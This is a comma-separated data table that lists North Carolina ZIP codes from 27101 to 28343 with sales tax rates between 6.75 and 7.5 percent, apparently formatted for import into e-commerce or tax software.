US-NC-27101,US,NC,27101,6.75,,,, US-NC-27102,US,NC,27102,6.75,,,, US-NC-27103,US,NC,27103,6.75,,,, US-NC-27104,US,NC,27104,6.75,,,, US-NC-27105,US,NC,27105,6.75,,,, US-NC-27106,US,NC,27106,6.75,,,, US-NC-27107,US,NC,27107,6.75,,,, US-NC-27108,US,NC,27108,6.75,,,, US-NC-27109,US,NC,27109,6.75,,,, US-NC-27110,US,NC,27110,6.75,,,, US-NC-27111,US,NC,27111,6.75,,,, US-NC-27113,US,NC,27113,6.75,,,, US-NC-27114,US,NC,27114,6.75,,,, US-NC-27115,US,NC,27115,6.75,,,, US-NC-27116,US,NC,27116,6.75,,,, US-NC-27117,US,NC,27117,6.75,,,, US-NC-27120,US,NC,27120,6.75,,,, US-NC-27127,US,NC,27127,6.75,,,, US-NC-27130,US,NC,27130,6.75,,,, US-NC-27150,US,NC,27150,6.75,,,, US-NC-27152,US,NC,27152,6.75,,,, US-NC-27155,US,NC,27155,6.75,,,, US-NC-27157,US,NC,27157,6.75,,,, US-NC-27198,US,NC,27198,6.75,,,, US-NC-27199,US,NC,27199,6.75,,,, US-NC-27201,US,NC,27201,6.75,,,, US-NC-27202,US,NC,27202,6.75,,,, US-NC-27203,US,NC,27203,7,,,, US-NC-27204,US,NC,27204,7,,,, US-NC-27205,US,NC,27205,7,,,, US-NC-27207,US,NC,27207,6.75,,,, US-NC-27208,US,NC,27208,6.75,,,, US-NC-27209,US,NC,27209,7,,,, US-NC-27212,US,NC,27212,6.75,,,, US-NC-27213,US,NC,27213,6.75,,,, US-NC-27214,US,NC,27214,6.75,,,, US-NC-27215,US,NC,27215,6.75,,,, US-NC-27216,US,NC,27216,6.75,,,, US-NC-27217,US,NC,27217,6.75,,,, US-NC-27228,US,NC,27228,6.75,,,, US-NC-27229,US,NC,27229,7,,,, US-NC-27230,US,NC,27230,7,,,, US-NC-27231,US,NC,27231,7.5,,,, US-NC-27233,US,NC,27233,7,,,, US-NC-27235,US,NC,27235,6.75,,,, US-NC-27237,US,NC,27237,7,,,, US-NC-27239,US,NC,27239,6.75,,,, US-NC-27242,US,NC,27242,6.75,,,, US-NC-27243,US,NC,27243,7.5,,,, US-NC-27244,US,NC,27244,6.75,,,, US-NC-27247,US,NC,27247,7,,,, US-NC-27248,US,NC,27248,7,,,, US-NC-27249,US,NC,27249,6.75,,,, US-NC-27252,US,NC,27252,6.75,,,, US-NC-27253,US,NC,27253,6.75,,,, US-NC-27256,US,NC,27256,6.75,,,, US-NC-27258,US,NC,27258,6.75,,,, US-NC-27259,US,NC,27259,6.75,,,, US-NC-27260,US,NC,27260,6.75,,,, US-NC-27261,US,NC,27261,6.75,,,, US-NC-27262,US,NC,27262,6.75,,,, US-NC-27263,US,NC,27263,7,,,, US-NC-27264,US,NC,27264,7,,,, US-NC-27265,US,NC,27265,6.75,,,, US-NC-27278,US,NC,27278,7.5,,,, US-NC-27281,US,NC,27281,6.75,,,, US-NC-27282,US,NC,27282,6.75,,,, US-NC-27283,US,NC,27283,6.75,,,, US-NC-27284,US,NC,27284,6.75,,,, US-NC-27285,US,NC,27285,6.75,,,, US-NC-27288,US,NC,27288,6.75,,,, US-NC-27289,US,NC,27289,6.75,,,, US-NC-27291,US,NC,27291,6.75,,,, US-NC-27292,US,NC,27292,6.75,,,, US-NC-27293,US,NC,27293,6.75,,,, US-NC-27294,US,NC,27294,6.75,,,, US-NC-27295,US,NC,27295,6.75,,,, US-NC-27298,US,NC,27298,7,,,, US-NC-27299,US,NC,27299,6.75,,,, US-NC-27301,US,NC,27301,6.75,,,, US-NC-27302,US,NC,27302,6.75,,,, US-NC-27305,US,NC,27305,6.75,,,, US-NC-27306,US,NC,27306,7,,,, US-NC-27310,US,NC,27310,6.75,,,, US-NC-27311,US,NC,27311,6.75,,,, US-NC-27312,US,NC,27312,6.75,,,, US-NC-27313,US,NC,27313,6.75,,,, US-NC-27314,US,NC,27314,6.75,,,, US-NC-27315,US,NC,27315,6.75,,,, US-NC-27316,US,NC,27316,7,,,, US-NC-27317,US,NC,27317,7,,,, US-NC-27320,US,NC,27320,6.75,,,, US-NC-27323,US,NC,27323,6.75,,,, US-NC-27325,US,NC,27325,6.75,,,, US-NC-27326,US,NC,27326,6.75,,,, US-NC-27330,US,NC,27330,7,,,, US-NC-27331,US,NC,27331,7,,,, US-NC-27332,US,NC,27332,7,,,, US-NC-27340,US,NC,27340,6.75,,,, US-NC-27341,US,NC,27341,7,,,, US-NC-27342,US,NC,27342,6.75,,,, US-NC-27343,US,NC,27343,6.75,,,, US-NC-27344,US,NC,27344,6.75,,,, US-NC-27349,US,NC,27349,6.75,,,, US-NC-27350,US,NC,27350,7,,,, US-NC-27351,US,NC,27351,6.75,,,, US-NC-27355,US,NC,27355,7,,,, US-NC-27356,US,NC,27356,7,,,, US-NC-27357,US,NC,27357,6.75,,,, US-NC-27358,US,NC,27358,6.75,,,, US-NC-27359,US,NC,27359,6.75,,,, US-NC-27360,US,NC,27360,6.75,,,, US-NC-27361,US,NC,27361,6.75,,,, US-NC-27370,US,NC,27370,7,,,, US-NC-27371,US,NC,27371,7,,,, US-NC-27373,US,NC,27373,6.75,,,, US-NC-27374,US,NC,27374,6.75,,,, US-NC-27375,US,NC,27375,6.75,,,, US-NC-27376,US,NC,27376,6.75,,,, US-NC-27377,US,NC,27377,6.75,,,, US-NC-27379,US,NC,27379,6.75,,,, US-NC-27401,US,NC,27401,6.75,,,, US-NC-27402,US,NC,27402,6.75,,,, US-NC-27403,US,NC,27403,6.75,,,, US-NC-27404,US,NC,27404,6.75,,,, US-NC-27405,US,NC,27405,6.75,,,, US-NC-27406,US,NC,27406,6.75,,,, US-NC-27407,US,NC,27407,6.75,,,, US-NC-27408,US,NC,27408,6.75,,,, US-NC-27409,US,NC,27409,6.75,,,, US-NC-27410,US,NC,27410,6.75,,,, US-NC-27411,US,NC,27411,6.75,,,, US-NC-27412,US,NC,27412,6.75,,,, US-NC-27413,US,NC,27413,6.75,,,, US-NC-27415,US,NC,27415,6.75,,,, US-NC-27416,US,NC,27416,6.75,,,, US-NC-27417,US,NC,27417,6.75,,,, US-NC-27419,US,NC,27419,6.75,,,, US-NC-27420,US,NC,27420,6.75,,,, US-NC-27425,US,NC,27425,6.75,,,, US-NC-27427,US,NC,27427,6.75,,,, US-NC-27429,US,NC,27429,6.75,,,, US-NC-27435,US,NC,27435,6.75,,,, US-NC-27438,US,NC,27438,6.75,,,, US-NC-27455,US,NC,27455,6.75,,,, US-NC-27495,US,NC,27495,6.75,,,, US-NC-27497,US,NC,27497,6.75,,,, US-NC-27498,US,NC,27498,6.75,,,, US-NC-27499,US,NC,27499,6.75,,,, US-NC-27501,US,NC,27501,6.75,,,, US-NC-27502,US,NC,27502,6.75,,,, US-NC-27503,US,NC,27503,7.5,,,, US-NC-27504,US,NC,27504,6.75,,,, US-NC-27505,US,NC,27505,6.75,,,, US-NC-27506,US,NC,27506,6.75,,,, US-NC-27507,US,NC,27507,6.75,,,, US-NC-27508,US,NC,27508,6.75,,,, US-NC-27509,US,NC,27509,6.75,,,, US-NC-27510,US,NC,27510,7.5,,,, US-NC-27511,US,NC,27511,6.75,,,, US-NC-27512,US,NC,27512,6.75,,,, US-NC-27513,US,NC,27513,6.75,,,, US-NC-27514,US,NC,27514,7.5,,,, US-NC-27515,US,NC,27515,7.5,,,, US-NC-27516,US,NC,27516,7.5,,,, US-NC-27517,US,NC,27517,6.75,,,, US-NC-27518,US,NC,27518,6.75,,,, US-NC-27519,US,NC,27519,6.75,,,, US-NC-27520,US,NC,27520,6.75,,,, US-NC-27521,US,NC,27521,6.75,,,, US-NC-27522,US,NC,27522,6.75,,,, US-NC-27523,US,NC,27523,6.75,,,, US-NC-27524,US,NC,27524,6.75,,,, US-NC-27525,US,NC,27525,6.75,,,, US-NC-27526,US,NC,27526,6.75,,,, US-NC-27527,US,NC,27527,6.75,,,, US-NC-27528,US,NC,27528,6.75,,,, US-NC-27529,US,NC,27529,6.75,,,, US-NC-27530,US,NC,27530,6.75,,,, US-NC-27531,US,NC,27531,6.75,,,, US-NC-27532,US,NC,27532,6.75,,,, US-NC-27533,US,NC,27533,6.75,,,, US-NC-27534,US,NC,27534,6.75,,,, US-NC-27536,US,NC,27536,6.75,,,, US-NC-27537,US,NC,27537,6.75,,,, US-NC-27539,US,NC,27539,6.75,,,, US-NC-27540,US,NC,27540,6.75,,,, US-NC-27541,US,NC,27541,6.75,,,, US-NC-27542,US,NC,27542,6.75,,,, US-NC-27543,US,NC,27543,6.75,,,, US-NC-27544,US,NC,27544,6.75,,,, US-NC-27545,US,NC,27545,6.75,,,, US-NC-27546,US,NC,27546,6.75,,,, US-NC-27549,US,NC,27549,6.75,,,, US-NC-27551,US,NC,27551,6.75,,,, US-NC-27552,US,NC,27552,6.75,,,, US-NC-27553,US,NC,27553,6.75,,,, US-NC-27555,US,NC,27555,6.75,,,, US-NC-27556,US,NC,27556,6.75,,,, US-NC-27557,US,NC,27557,6.75,,,, US-NC-27559,US,NC,27559,6.75,,,, US-NC-27560,US,NC,27560,6.75,,,, US-NC-27562,US,NC,27562,6.75,,,, US-NC-27563,US,NC,27563,6.75,,,, US-NC-27565,US,NC,27565,6.75,,,, US-NC-27568,US,NC,27568,6.75,,,, US-NC-27569,US,NC,27569,6.75,,,, US-NC-27570,US,NC,27570,6.75,,,, US-NC-27571,US,NC,27571,6.75,,,, US-NC-27572,US,NC,27572,7.5,,,, US-NC-27573,US,NC,27573,6.75,,,, US-NC-27574,US,NC,27574,6.75,,,, US-NC-27576,US,NC,27576,6.75,,,, US-NC-27577,US,NC,27577,6.75,,,, US-NC-27581,US,NC,27581,6.75,,,, US-NC-27582,US,NC,27582,6.75,,,, US-NC-27583,US,NC,27583,6.75,,,, US-NC-27584,US,NC,27584,6.75,,,, US-NC-27586,US,NC,27586,6.75,,,, US-NC-27587,US,NC,27587,6.75,,,, US-NC-27588,US,NC,27588,6.75,,,, US-NC-27589,US,NC,27589,6.75,,,, US-NC-27591,US,NC,27591,6.75,,,, US-NC-27592,US,NC,27592,6.75,,,, US-NC-27593,US,NC,27593,6.75,,,, US-NC-27594,US,NC,27594,6.75,,,, US-NC-27596,US,NC,27596,6.75,,,, US-NC-27597,US,NC,27597,6.75,,,, US-NC-27599,US,NC,27599,7.5,,,, US-NC-27601,US,NC,27601,6.75,,,, US-NC-27602,US,NC,27602,6.75,,,, US-NC-27603,US,NC,27603,6.75,,,, US-NC-27604,US,NC,27604,6.75,,,, US-NC-27605,US,NC,27605,6.75,,,, US-NC-27606,US,NC,27606,6.75,,,, US-NC-27607,US,NC,27607,6.75,,,, US-NC-27608,US,NC,27608,6.75,,,, US-NC-27609,US,NC,27609,6.75,,,, US-NC-27610,US,NC,27610,6.75,,,, US-NC-27611,US,NC,27611,6.75,,,, US-NC-27612,US,NC,27612,6.75,,,, US-NC-27613,US,NC,27613,6.75,,,, US-NC-27614,US,NC,27614,6.75,,,, US-NC-27615,US,NC,27615,6.75,,,, US-NC-27616,US,NC,27616,6.75,,,, US-NC-27617,US,NC,27617,6.75,,,, US-NC-27619,US,NC,27619,6.75,,,, US-NC-27620,US,NC,27620,6.75,,,, US-NC-27621,US,NC,27621,6.75,,,, US-NC-27622,US,NC,27622,6.75,,,, US-NC-27623,US,NC,27623,6.75,,,, US-NC-27624,US,NC,27624,6.75,,,, US-NC-27625,US,NC,27625,6.75,,,, US-NC-27626,US,NC,27626,6.75,,,, US-NC-27627,US,NC,27627,6.75,,,, US-NC-27628,US,NC,27628,6.75,,,, US-NC-27629,US,NC,27629,6.75,,,, US-NC-27634,US,NC,27634,6.75,,,, US-NC-27635,US,NC,27635,6.75,,,, US-NC-27636,US,NC,27636,6.75,,,, US-NC-27640,US,NC,27640,6.75,,,, US-NC-27650,US,NC,27650,6.75,,,, US-NC-27656,US,NC,27656,6.75,,,, US-NC-27658,US,NC,27658,6.75,,,, US-NC-27661,US,NC,27661,6.75,,,, US-NC-27668,US,NC,27668,6.75,,,, US-NC-27675,US,NC,27675,6.75,,,, US-NC-27676,US,NC,27676,6.75,,,, US-NC-27690,US,NC,27690,6.75,,,, US-NC-27695,US,NC,27695,6.75,,,, US-NC-27697,US,NC,27697,6.75,,,, US-NC-27698,US,NC,27698,6.75,,,, US-NC-27699,US,NC,27699,6.75,,,, US-NC-27701,US,NC,27701,7.5,,,, US-NC-27702,US,NC,27702,7.5,,,, US-NC-27703,US,NC,27703,7.5,,,, US-NC-27704,US,NC,27704,7.5,,,, US-NC-27705,US,NC,27705,7.5,,,, US-NC-27706,US,NC,27706,7.5,,,, US-NC-27707,US,NC,27707,7.5,,,, US-NC-27708,US,NC,27708,7.5,,,, US-NC-27709,US,NC,27709,7.5,,,, US-NC-27710,US,NC,27710,7.5,,,, US-NC-27711,US,NC,27711,7.5,,,, US-NC-27712,US,NC,27712,7.5,,,, US-NC-27713,US,NC,27713,7.5,,,, US-NC-27715,US,NC,27715,7.5,,,, US-NC-27717,US,NC,27717,7.5,,,, US-NC-27722,US,NC,27722,7.5,,,, US-NC-27801,US,NC,27801,7,,,, US-NC-27802,US,NC,27802,7,,,, US-NC-27803,US,NC,27803,6.75,,,, US-NC-27804,US,NC,27804,6.75,,,, US-NC-27805,US,NC,27805,6.75,,,, US-NC-27806,US,NC,27806,6.75,,,, US-NC-27807,US,NC,27807,6.75,,,, US-NC-27808,US,NC,27808,6.75,,,, US-NC-27809,US,NC,27809,6.75,,,, US-NC-27810,US,NC,27810,6.75,,,, US-NC-27811,US,NC,27811,7,,,, US-NC-27812,US,NC,27812,7,,,, US-NC-27813,US,NC,27813,6.75,,,, US-NC-27814,US,NC,27814,6.75,,,, US-NC-27815,US,NC,27815,7,,,, US-NC-27816,US,NC,27816,6.75,,,, US-NC-27817,US,NC,27817,6.75,,,, US-NC-27818,US,NC,27818,7,,,, US-NC-27819,US,NC,27819,7,,,, US-NC-27820,US,NC,27820,6.75,,,, US-NC-27821,US,NC,27821,6.75,,,, US-NC-27822,US,NC,27822,6.75,,,, US-NC-27823,US,NC,27823,7,,,, US-NC-27824,US,NC,27824,6.75,,,, US-NC-27825,US,NC,27825,7,,,, US-NC-27826,US,NC,27826,6.75,,,, US-NC-27827,US,NC,27827,7,,,, US-NC-27828,US,NC,27828,7,,,, US-NC-27829,US,NC,27829,7,,,, US-NC-27830,US,NC,27830,6.75,,,, US-NC-27831,US,NC,27831,6.75,,,, US-NC-27832,US,NC,27832,6.75,,,, US-NC-27833,US,NC,27833,7,,,, US-NC-27834,US,NC,27834,7,,,, US-NC-27835,US,NC,27835,7,,,, US-NC-27836,US,NC,27836,7,,,, US-NC-27837,US,NC,27837,7,,,, US-NC-27839,US,NC,27839,7,,,, US-NC-27840,US,NC,27840,7,,,, US-NC-27841,US,NC,27841,7,,,, US-NC-27842,US,NC,27842,6.75,,,, US-NC-27843,US,NC,27843,7,,,, US-NC-27844,US,NC,27844,7,,,, US-NC-27845,US,NC,27845,6.75,,,, US-NC-27846,US,NC,27846,7,,,, US-NC-27847,US,NC,27847,6.75,,,, US-NC-27849,US,NC,27849,6.75,,,, US-NC-27850,US,NC,27850,7,,,, US-NC-27851,US,NC,27851,6.75,,,, US-NC-27852,US,NC,27852,7,,,, US-NC-27853,US,NC,27853,6.75,,,, US-NC-27855,US,NC,27855,7,,,, US-NC-27856,US,NC,27856,6.75,,,, US-NC-27857,US,NC,27857,7,,,, US-NC-27858,US,NC,27858,7,,,, US-NC-27860,US,NC,27860,6.75,,,, US-NC-27861,US,NC,27861,7,,,, US-NC-27862,US,NC,27862,6.75,,,, US-NC-27863,US,NC,27863,6.75,,,, US-NC-27864,US,NC,27864,7,,,, US-NC-27865,US,NC,27865,6.75,,,, US-NC-27866,US,NC,27866,6.75,,,, US-NC-27867,US,NC,27867,6.75,,,, US-NC-27868,US,NC,27868,6.75,,,, US-NC-27869,US,NC,27869,6.75,,,, US-NC-27870,US,NC,27870,7,,,, US-NC-27871,US,NC,27871,7,,,, US-NC-27872,US,NC,27872,6.75,,,, US-NC-27873,US,NC,27873,6.75,,,, US-NC-27874,US,NC,27874,7,,,, US-NC-27875,US,NC,27875,6.75,,,, US-NC-27876,US,NC,27876,6.75,,,, US-NC-27877,US,NC,27877,6.75,,,, US-NC-27878,US,NC,27878,6.75,,,, US-NC-27879,US,NC,27879,7,,,, US-NC-27880,US,NC,27880,6.75,,,, US-NC-27881,US,NC,27881,7,,,, US-NC-27882,US,NC,27882,6.75,,,, US-NC-27883,US,NC,27883,6.75,,,, US-NC-27884,US,NC,27884,7,,,, US-NC-27885,US,NC,27885,6.75,,,, US-NC-27886,US,NC,27886,7,,,, US-NC-27887,US,NC,27887,7,,,, US-NC-27888,US,NC,27888,7,,,, US-NC-27889,US,NC,27889,6.75,,,, US-NC-27890,US,NC,27890,7,,,, US-NC-27891,US,NC,27891,6.75,,,, US-NC-27892,US,NC,27892,7,,,, US-NC-27893,US,NC,27893,6.75,,,, US-NC-27894,US,NC,27894,6.75,,,, US-NC-27895,US,NC,27895,6.75,,,, US-NC-27896,US,NC,27896,6.75,,,, US-NC-27897,US,NC,27897,6.75,,,, US-NC-27906,US,NC,27906,6.75,,,, US-NC-27907,US,NC,27907,6.75,,,, US-NC-27909,US,NC,27909,6.75,,,, US-NC-27910,US,NC,27910,7,,,, US-NC-27915,US,NC,27915,6.75,,,, US-NC-27916,US,NC,27916,6.75,,,, US-NC-27917,US,NC,27917,6.75,,,, US-NC-27919,US,NC,27919,6.75,,,, US-NC-27920,US,NC,27920,6.75,,,, US-NC-27921,US,NC,27921,6.75,,,, US-NC-27922,US,NC,27922,7,,,, US-NC-27923,US,NC,27923,6.75,,,, US-NC-27924,US,NC,27924,6.75,,,, US-NC-27925,US,NC,27925,6.75,,,, US-NC-27926,US,NC,27926,6.75,,,, US-NC-27927,US,NC,27927,6.75,,,, US-NC-27928,US,NC,27928,6.75,,,, US-NC-27929,US,NC,27929,6.75,,,, US-NC-27930,US,NC,27930,6.75,,,, US-NC-27932,US,NC,27932,6.75,,,, US-NC-27935,US,NC,27935,6.75,,,, US-NC-27936,US,NC,27936,6.75,,,, US-NC-27937,US,NC,27937,6.75,,,, US-NC-27938,US,NC,27938,6.75,,,, US-NC-27939,US,NC,27939,6.75,,,, US-NC-27941,US,NC,27941,6.75,,,, US-NC-27942,US,NC,27942,7,,,, US-NC-27943,US,NC,27943,6.75,,,, US-NC-27944,US,NC,27944,6.75,,,, US-NC-27946,US,NC,27946,6.75,,,, US-NC-27947,US,NC,27947,6.75,,,, US-NC-27948,US,NC,27948,6.75,,,, US-NC-27949,US,NC,27949,6.75,,,, US-NC-27950,US,NC,27950,6.75,,,, US-NC-27953,US,NC,27953,6.75,,,, US-NC-27954,US,NC,27954,6.75,,,, US-NC-27956,US,NC,27956,6.75,,,, US-NC-27957,US,NC,27957,6.75,,,, US-NC-27958,US,NC,27958,6.75,,,, US-NC-27959,US,NC,27959,6.75,,,, US-NC-27960,US,NC,27960,6.75,,,, US-NC-27962,US,NC,27962,6.75,,,, US-NC-27964,US,NC,27964,6.75,,,, US-NC-27965,US,NC,27965,6.75,,,, US-NC-27966,US,NC,27966,6.75,,,, US-NC-27967,US,NC,27967,6.75,,,, US-NC-27968,US,NC,27968,6.75,,,, US-NC-27969,US,NC,27969,6.75,,,, US-NC-27970,US,NC,27970,6.75,,,, US-NC-27972,US,NC,27972,6.75,,,, US-NC-27973,US,NC,27973,6.75,,,, US-NC-27974,US,NC,27974,6.75,,,, US-NC-27976,US,NC,27976,6.75,,,, US-NC-27978,US,NC,27978,6.75,,,, US-NC-27979,US,NC,27979,6.75,,,, US-NC-27980,US,NC,27980,6.75,,,, US-NC-27981,US,NC,27981,6.75,,,, US-NC-27982,US,NC,27982,6.75,,,, US-NC-27983,US,NC,27983,6.75,,,, US-NC-27985,US,NC,27985,6.75,,,, US-NC-27986,US,NC,27986,7,,,, US-NC-28001,US,NC,28001,6.75,,,, US-NC-28002,US,NC,28002,6.75,,,, US-NC-28006,US,NC,28006,6.75,,,, US-NC-28007,US,NC,28007,6.75,,,, US-NC-28009,US,NC,28009,6.75,,,, US-NC-28010,US,NC,28010,6.75,,,, US-NC-28012,US,NC,28012,6.75,,,, US-NC-28016,US,NC,28016,6.75,,,, US-NC-28017,US,NC,28017,6.75,,,, US-NC-28018,US,NC,28018,6.75,,,, US-NC-28019,US,NC,28019,6.75,,,, US-NC-28020,US,NC,28020,6.75,,,, US-NC-28021,US,NC,28021,6.75,,,, US-NC-28023,US,NC,28023,7,,,, US-NC-28024,US,NC,28024,6.75,,,, US-NC-28025,US,NC,28025,7,,,, US-NC-28026,US,NC,28026,7,,,, US-NC-28027,US,NC,28027,7,,,, US-NC-28031,US,NC,28031,7.25,,,, US-NC-28032,US,NC,28032,6.75,,,, US-NC-28033,US,NC,28033,6.75,,,, US-NC-28034,US,NC,28034,6.75,,,, US-NC-28035,US,NC,28035,7.25,,,, US-NC-28036,US,NC,28036,7.25,,,, US-NC-28037,US,NC,28037,6.75,,,, US-NC-28038,US,NC,28038,6.75,,,, US-NC-28039,US,NC,28039,7,,,, US-NC-28040,US,NC,28040,6.75,,,, US-NC-28041,US,NC,28041,7,,,, US-NC-28042,US,NC,28042,6.75,,,, US-NC-28043,US,NC,28043,6.75,,,, US-NC-28052,US,NC,28052,6.75,,,, US-NC-28053,US,NC,28053,6.75,,,, US-NC-28054,US,NC,28054,6.75,,,, US-NC-28055,US,NC,28055,6.75,,,, US-NC-28056,US,NC,28056,6.75,,,, US-NC-28070,US,NC,28070,7.25,,,, US-NC-28071,US,NC,28071,7,,,, US-NC-28072,US,NC,28072,7,,,, US-NC-28073,US,NC,28073,6.75,,,, US-NC-28074,US,NC,28074,6.75,,,, US-NC-28075,US,NC,28075,7,,,, US-NC-28076,US,NC,28076,6.75,,,, US-NC-28077,US,NC,28077,6.75,,,, US-NC-28078,US,NC,28078,7.25,,,, US-NC-28079,US,NC,28079,6.75,,,, US-NC-28080,US,NC,28080,6.75,,,, US-NC-28081,US,NC,28081,7,,,, US-NC-28082,US,NC,28082,7,,,, US-NC-28083,US,NC,28083,7,,,, US-NC-28086,US,NC,28086,6.75,,,, US-NC-28088,US,NC,28088,7,,,, US-NC-28089,US,NC,28089,6.75,,,, US-NC-28090,US,NC,28090,6.75,,,, US-NC-28091,US,NC,28091,6.75,,,, US-NC-28092,US,NC,28092,6.75,,,, US-NC-28093,US,NC,28093,6.75,,,, US-NC-28097,US,NC,28097,6.75,,,, US-NC-28098,US,NC,28098,6.75,,,, US-NC-28101,US,NC,28101,6.75,,,, US-NC-28102,US,NC,28102,6.75,,,, US-NC-28103,US,NC,28103,6.75,,,, US-NC-28104,US,NC,28104,6.75,,,, US-NC-28105,US,NC,28105,7.25,,,, US-NC-28106,US,NC,28106,7.25,,,, US-NC-28107,US,NC,28107,7,,,, US-NC-28108,US,NC,28108,6.75,,,, US-NC-28109,US,NC,28109,6.75,,,, US-NC-28110,US,NC,28110,6.75,,,, US-NC-28111,US,NC,28111,6.75,,,, US-NC-28112,US,NC,28112,6.75,,,, US-NC-28114,US,NC,28114,6.75,,,, US-NC-28115,US,NC,28115,6.75,,,, US-NC-28117,US,NC,28117,6.75,,,, US-NC-28119,US,NC,28119,6.75,,,, US-NC-28120,US,NC,28120,6.75,,,, US-NC-28123,US,NC,28123,6.75,,,, US-NC-28124,US,NC,28124,7,,,, US-NC-28125,US,NC,28125,7,,,, US-NC-28126,US,NC,28126,7.25,,,, US-NC-28127,US,NC,28127,6.75,,,, US-NC-28128,US,NC,28128,6.75,,,, US-NC-28129,US,NC,28129,6.75,,,, US-NC-28130,US,NC,28130,7.25,,,, US-NC-28133,US,NC,28133,6.75,,,, US-NC-28134,US,NC,28134,7.25,,,, US-NC-28135,US,NC,28135,6.75,,,, US-NC-28136,US,NC,28136,6.75,,,, US-NC-28137,US,NC,28137,6.75,,,, US-NC-28138,US,NC,28138,7,,,, US-NC-28139,US,NC,28139,6.75,,,, US-NC-28144,US,NC,28144,7,,,, US-NC-28145,US,NC,28145,7,,,, US-NC-28146,US,NC,28146,7,,,, US-NC-28147,US,NC,28147,7,,,, US-NC-28150,US,NC,28150,6.75,,,, US-NC-28151,US,NC,28151,6.75,,,, US-NC-28152,US,NC,28152,6.75,,,, US-NC-28159,US,NC,28159,7,,,, US-NC-28160,US,NC,28160,6.75,,,, US-NC-28163,US,NC,28163,6.75,,,, US-NC-28164,US,NC,28164,6.75,,,, US-NC-28166,US,NC,28166,6.75,,,, US-NC-28167,US,NC,28167,6.75,,,, US-NC-28168,US,NC,28168,6.75,,,, US-NC-28169,US,NC,28169,6.75,,,, US-NC-28170,US,NC,28170,6.75,,,, US-NC-28173,US,NC,28173,6.75,,,, US-NC-28174,US,NC,28174,6.75,,,, US-NC-28201,US,NC,28201,7.25,,,, US-NC-28202,US,NC,28202,7.25,,,, US-NC-28203,US,NC,28203,7.25,,,, US-NC-28204,US,NC,28204,7.25,,,, US-NC-28205,US,NC,28205,7.25,,,, US-NC-28206,US,NC,28206,7.25,,,, US-NC-28207,US,NC,28207,7.25,,,, US-NC-28208,US,NC,28208,7.25,,,, US-NC-28209,US,NC,28209,7.25,,,, US-NC-28210,US,NC,28210,7.25,,,, US-NC-28211,US,NC,28211,7.25,,,, US-NC-28212,US,NC,28212,7.25,,,, US-NC-28213,US,NC,28213,7.25,,,, US-NC-28214,US,NC,28214,7.25,,,, US-NC-28215,US,NC,28215,7.25,,,, US-NC-28216,US,NC,28216,7.25,,,, US-NC-28217,US,NC,28217,7.25,,,, US-NC-28218,US,NC,28218,7.25,,,, US-NC-28219,US,NC,28219,7.25,,,, US-NC-28220,US,NC,28220,7.25,,,, US-NC-28221,US,NC,28221,7.25,,,, US-NC-28222,US,NC,28222,7.25,,,, US-NC-28223,US,NC,28223,7.25,,,, US-NC-28224,US,NC,28224,7.25,,,, US-NC-28226,US,NC,28226,7.25,,,, US-NC-28227,US,NC,28227,7.25,,,, US-NC-28228,US,NC,28228,7.25,,,, US-NC-28229,US,NC,28229,7.25,,,, US-NC-28230,US,NC,28230,7.25,,,, US-NC-28231,US,NC,28231,7.25,,,, US-NC-28232,US,NC,28232,7.25,,,, US-NC-28233,US,NC,28233,7.25,,,, US-NC-28234,US,NC,28234,7.25,,,, US-NC-28235,US,NC,28235,7.25,,,, US-NC-28236,US,NC,28236,7.25,,,, US-NC-28237,US,NC,28237,7.25,,,, US-NC-28241,US,NC,28241,7.25,,,, US-NC-28242,US,NC,28242,7.25,,,, US-NC-28243,US,NC,28243,7.25,,,, US-NC-28244,US,NC,28244,7.25,,,, US-NC-28246,US,NC,28246,7.25,,,, US-NC-28247,US,NC,28247,7.25,,,, US-NC-28250,US,NC,28250,7.25,,,, US-NC-28253,US,NC,28253,7.25,,,, US-NC-28254,US,NC,28254,7.25,,,, US-NC-28255,US,NC,28255,7.25,,,, US-NC-28256,US,NC,28256,7.25,,,, US-NC-28258,US,NC,28258,7.25,,,, US-NC-28260,US,NC,28260,7.25,,,, US-NC-28262,US,NC,28262,7.25,,,, US-NC-28263,US,NC,28263,7.25,,,, US-NC-28265,US,NC,28265,7.25,,,, US-NC-28266,US,NC,28266,7.25,,,, US-NC-28269,US,NC,28269,7.25,,,, US-NC-28270,US,NC,28270,7.25,,,, US-NC-28271,US,NC,28271,7.25,,,, US-NC-28272,US,NC,28272,7.25,,,, US-NC-28273,US,NC,28273,7.25,,,, US-NC-28274,US,NC,28274,7.25,,,, US-NC-28275,US,NC,28275,7.25,,,, US-NC-28277,US,NC,28277,7.25,,,, US-NC-28278,US,NC,28278,7.25,,,, US-NC-28280,US,NC,28280,7.25,,,, US-NC-28281,US,NC,28281,7.25,,,, US-NC-28282,US,NC,28282,7.25,,,, US-NC-28284,US,NC,28284,7.25,,,, US-NC-28285,US,NC,28285,7.25,,,, US-NC-28287,US,NC,28287,7.25,,,, US-NC-28288,US,NC,28288,7.25,,,, US-NC-28289,US,NC,28289,7.25,,,, US-NC-28290,US,NC,28290,7.25,,,, US-NC-28296,US,NC,28296,7.25,,,, US-NC-28297,US,NC,28297,7.25,,,, US-NC-28299,US,NC,28299,7.25,,,, US-NC-28301,US,NC,28301,7,,,, US-NC-28302,US,NC,28302,7,,,, US-NC-28303,US,NC,28303,7,,,, US-NC-28304,US,NC,28304,7,,,, US-NC-28305,US,NC,28305,7,,,, US-NC-28306,US,NC,28306,7,,,, US-NC-28307,US,NC,28307,7,,,, US-NC-28308,US,NC,28308,7,,,, US-NC-28309,US,NC,28309,7,,,, US-NC-28310,US,NC,28310,7,,,, US-NC-28311,US,NC,28311,7,,,, US-NC-28312,US,NC,28312,7,,,, US-NC-28314,US,NC,28314,7,,,, US-NC-28315,US,NC,28315,6.75,,,, US-NC-28318,US,NC,28318,7,,,, US-NC-28319,US,NC,28319,7,,,, US-NC-28320,US,NC,28320,6.75,,,, US-NC-28323,US,NC,28323,6.75,,,, US-NC-28325,US,NC,28325,7,,,, US-NC-28326,US,NC,28326,6.75,,,, US-NC-28327,US,NC,28327,6.75,,,, US-NC-28328,US,NC,28328,7,,,, US-NC-28329,US,NC,28329,7,,,, US-NC-28330,US,NC,28330,6.75,,,, US-NC-28331,US,NC,28331,7,,,, US-NC-28332,US,NC,28332,6.75,,,, US-NC-28333,US,NC,28333,6.75,,,, US-NC-28334,US,NC,28334,6.75,,,, US-NC-28335,US,NC,28335,6.75,,,, US-NC-28337,US,NC,28337,6.75,,,, US-NC-28338,US,NC,28338,6.75,,,, US-NC-28339,US,NC,28339,6.75,,,, US-NC-28340,US,NC,28340,7,,,, US-NC-28341,US,NC,28341,7,,,, US-NC-28342,US,NC,28342,7,,,, US-NC-28343,US,NC,28343,6.75,,,, 